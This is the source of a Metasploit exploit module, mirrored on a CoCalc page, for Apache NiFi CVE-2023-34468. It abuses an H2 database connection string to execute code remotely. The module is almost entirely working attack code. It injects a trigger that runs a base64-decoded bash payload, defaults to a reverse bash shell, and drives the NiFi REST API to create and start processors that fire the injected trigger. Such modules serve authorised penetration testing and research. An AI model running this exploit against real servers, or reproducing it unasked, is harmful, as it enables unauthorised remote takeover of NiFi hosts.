CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/apache_nifi_h2_rce.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::Remote::HTTP::Nifi
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Apache NiFi H2 Connection String Remote Code Execution',
18
'Description' => %q{
19
The DBCPConnectionPool and HikariCPConnectionPool Controller Services in
20
Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user
21
to configure a Database URL with the H2 driver that enables custom code execution.
22
23
This exploit will result in several shells (5-7).
24
Successfully tested against Apache nifi 1.17.0 through 1.21.0.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'h00die', # msf module
29
'Matei "Mal" Badanoiu' # discovery
30
],
31
'References' => [
32
['CVE', '2023-34468'],
33
['URL', 'https://lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8'],
34
['URL', 'https://issues.apache.org/jira/browse/NIFI-11653'],
35
['URL', 'https://nifi.apache.org/security.html#1.22.0'],
36
# not many h2 references on the Internet, especially for nifi, so leaving this here
37
# ['URL', 'https://gist.github.com/ijokarumawak/ed9085024eeeefbca19cfb2f20d23ed4#file-table_record_change_detection_example-xml-L65']
38
# ['URL', 'http://www.h2database.com/html/features.html']
39
],
40
'DisclosureDate' => '2023-06-12',
41
'DefaultOptions' => { 'RPORT' => 8443 },
42
'Platform' => %w[unix],
43
'Arch' => [ARCH_CMD],
44
'Targets' => [
45
[
46
'Unix (In-Memory)',
47
{
48
'Type' => :unix_memory,
49
'Payload' => { 'BadChars' => '"' },
50
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
51
}
52
],
53
],
54
'Privileged' => false,
55
'DefaultTarget' => 0,
56
'Notes' => {
57
'Stability' => [CRASH_SAFE],
58
'Reliability' => [REPEATABLE_SESSION],
59
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
60
}
61
)
62
)
63
register_options(
64
[
65
OptString.new('TARGETURI', [true, 'The base path', '/']),
66
OptInt.new('DELAY', [true, 'The delay (s) before stopping and deleting the processor', 30])
67
],
68
self.class
69
)
70
end
71
72
def configure_dbconpool
73
# our base64ed payload can't have = in it, so we'll pad out with spaces to remove them
74
b64_pe = ::Base64.strict_encode64(payload.encoded)
75
equals_count = b64_pe.count('=')
76
if equals_count > 0
77
b64_pe = ::Base64.strict_encode64(payload.encoded + ' ' * equals_count)
78
end
79
80
if @version > Rex::Version.new('1.16.0')
81
# 1.17.0-1.21.0
82
driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar'
83
else
84
# 1.16.0
85
driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.210.jar'
86
end
87
88
body = {
89
'disconnectedNodeAcknowledged' => false,
90
'component' => {
91
'id' => @db_con_pool,
92
'name' => @db_con_pool_name,
93
'bulletinLevel' => 'WARN',
94
'comments' => '',
95
'properties' => {
96
# https://github.com/apache/nifi/pull/7349/files#diff-66ccc94a6b0dfa29817ded9c18e5a87c4fff9cd38eeedc3f121f6436ba53e6c0R38
97
# we can use a random db name here, the file is created automatically
98
# XXX would mem work too?
99
'Database Connection URL' => "jdbc:h2:file:/tmp/#{Rex::Text.rand_text_alphanumeric(6..10)}.db;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",
100
'Database Driver Class Name' => 'org.h2.Driver',
101
# This seems to be installed by default, do we need the location?
102
'database-driver-locations' => driver,
103
"Max Total Connections": '1' # prevents us from getting multiple callbacks
104
},
105
'sensitiveDynamicPropertyNames' => []
106
},
107
'revision' => {
108
'clientId' => 'x',
109
'version' => 0
110
}
111
}
112
opts = {
113
'method' => 'PUT',
114
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', @db_con_pool),
115
'ctype' => 'application/json',
116
'data' => body.to_json
117
}
118
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
119
res = send_request_cgi(opts)
120
fail_with(Failure::Unreachable, 'No response received') if res.nil?
121
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code received #{res.code}") unless res.code == 200
122
end
123
124
def configure_processor
125
vprint_status("Configuring processor #{@processor}")
126
body = {
127
# "disconnectedNodeAcknowledged"=> false,
128
'component' => {
129
'id' => @processor,
130
'name' => Rex::Text.rand_text_alphanumeric(6..10),
131
'bulletinLevel' => 'WARN',
132
'comments' => '',
133
'config' => {
134
'autoTerminatedRelationships' => ['failure', 'success'],
135
'bulletinLevel' => 'WARN',
136
'comments' => '',
137
'concurrentlySchedulableTaskCount' => '1',
138
'executionNode' => 'ALL',
139
'penaltyDuration' => '30 sec',
140
'retriedRelationships' => [],
141
'schedulingPeriod' => '0 sec',
142
'schedulingStrategy' => 'TIMER_DRIVEN',
143
'yieldDuration' => '1 sec',
144
'state' => 'STOPPED',
145
'properties' => {
146
'Database Connection Pooling Service' => @db_con_pool,
147
'SQL select query' => 'SELECT H2VERSION() FROM DUAL;' # innocious get version query, field required to be non-blank
148
}
149
}
150
},
151
'revision' => {
152
'clientId' => 'x',
153
'version' => 1 # needs to be 1 since we had 0 before
154
}
155
}
156
opts = {
157
'method' => 'PUT',
158
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', @processor),
159
'ctype' => 'application/json',
160
'data' => body.to_json
161
}
162
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
163
res = send_request_cgi(opts)
164
fail_with(Failure::Unreachable, 'No response received') if res.nil?
165
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code received #{res.code}") unless res.code == 200
166
end
167
168
def check
169
# see apache_nifi_processor_rce check method for details on why this is difficult
170
171
@cleanup_required = false
172
173
login_type = supports_login?
174
175
return CheckCode::Unknown('Unable to determine if logins are supported') if login_type.nil?
176
177
if login_type
178
@version = get_version
179
return CheckCode::Unknown('Unable to determine Apache NiFi version') if @version.nil?
180
181
if @version <= Rex::Version.new('1.21.0')
182
return CheckCode::Appears("Apache NiFi instance supports logins and vulnerable version detected: #{@version}")
183
end
184
185
CheckCode::Safe("Apache NiFi instance supports logins but non-vulnerable version detected: #{@version}")
186
else
187
CheckCode::Appears('Apache NiFi instance does not support logins')
188
end
189
end
190
191
def validate_config
192
if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?
193
fail_with(Failure::BadConfig,
194
'Authentication is required. Bearer-Token or Username and Password must be specified')
195
end
196
end
197
198
def cleanup
199
super
200
return unless @cleanup_required
201
202
# Wait for thread to execute - This seems necesarry, especially on Windows
203
# and there is no way I can see of checking whether the thread has executed
204
print_status("Waiting #{datastore['DELAY']} seconds before stopping and deleting")
205
sleep(datastore['DELAY'])
206
207
# Stop Processor
208
stop_processor(@token, @processor)
209
vprint_good("Stopped and terminated processor #{@processor}")
210
211
# Delete processor
212
delete_processor(@token, @processor, 3)
213
vprint_good("Deleted processor #{@processor}")
214
begin
215
stop_dbconnectionpool(@token, @db_con_pool)
216
rescue DBConnectionPoolError
217
fail_with(Failure::UnexpectedReply, 'Unable to stop DB Connection Pool. Manual cleanup is required')
218
end
219
vprint_good("Disabled db connection pool #{@db_con_pool}, sleeping #{datastore['DELAY']} seconds to allow the connection to finish disabling")
220
sleep(datastore['DELAY'])
221
begin
222
delete_dbconnectionpool(@token, @db_con_pool)
223
rescue DBConnectionPoolError
224
fail_with(Failure::UnexpectedReply, 'Unable to delete DB Connection Pool. Manual cleanup is required')
225
end
226
vprint_good("Deleted db connection pool #{@db_con_pool}")
227
end
228
229
def exploit
230
# Check whether login is required and set/fetch token
231
if supports_login?
232
validate_config
233
@token = if datastore['BEARER-TOKEN'].to_s.empty?
234
retrieve_login_token
235
else
236
datastore['BEARER-TOKEN']
237
end
238
fail_with(Failure::NoAccess, 'Invalid Credentials') if @token.nil?
239
else
240
@token = nil
241
end
242
243
if @version.nil?
244
@version = get_version
245
end
246
247
# Retrieve root process group
248
@process_group = fetch_root_process_group(@token)
249
fail_with(Failure::UnexpectedReply, 'Unable to retrieve root process group') if @process_group.nil?
250
vprint_good("Retrieved process group: #{@process_group}")
251
252
@db_con_pool_name = Rex::Text.rand_text_alphanumeric(6..10)
253
begin
254
@db_con_pool = create_dbconnectionpool(@token, @db_con_pool_name, @process_group, @version)
255
rescue DBConnectionPoolError
256
fail_with(Failure::UnexpectedReply,
257
'Unable to create DB Connection Pool. Manual review of HTTP packets will be required to debug failure.')
258
end
259
260
@cleanup_required = true
261
262
# Create processor in root process group
263
@processor = create_processor(@token, @process_group, 'org.apache.nifi.processors.standard.ExecuteSQL')
264
vprint_good("Created processor #{@processor} in process group #{@process_group}")
265
configure_processor
266
vprint_good("Configured processor #{@processor}")
267
configure_dbconpool
268
vprint_good("Configured db connection pool #{@db_con_pool_name} (#{@db_con_pool})")
269
begin
270
start_dbconnectionpool(@token, @db_con_pool)
271
rescue DBConnectionPoolError
272
fail_with(Failure::UnexpectedReply,
273
'Unable to start DB Connection Pool. Manual review of HTTP packets will be required to debug failure.')
274
end
275
vprint_good('Enabled db connection pool')
276
begin
277
start_processor(@token, @processor)
278
rescue ProcessorError
279
fail_with(Failure::UnexpectedReply,
280
'Unable to start Processor. Manual review of HTTP packets will be required to debug failure.')
281
end
282
283
vprint_good('Started processor')
284
end
285
end
286
287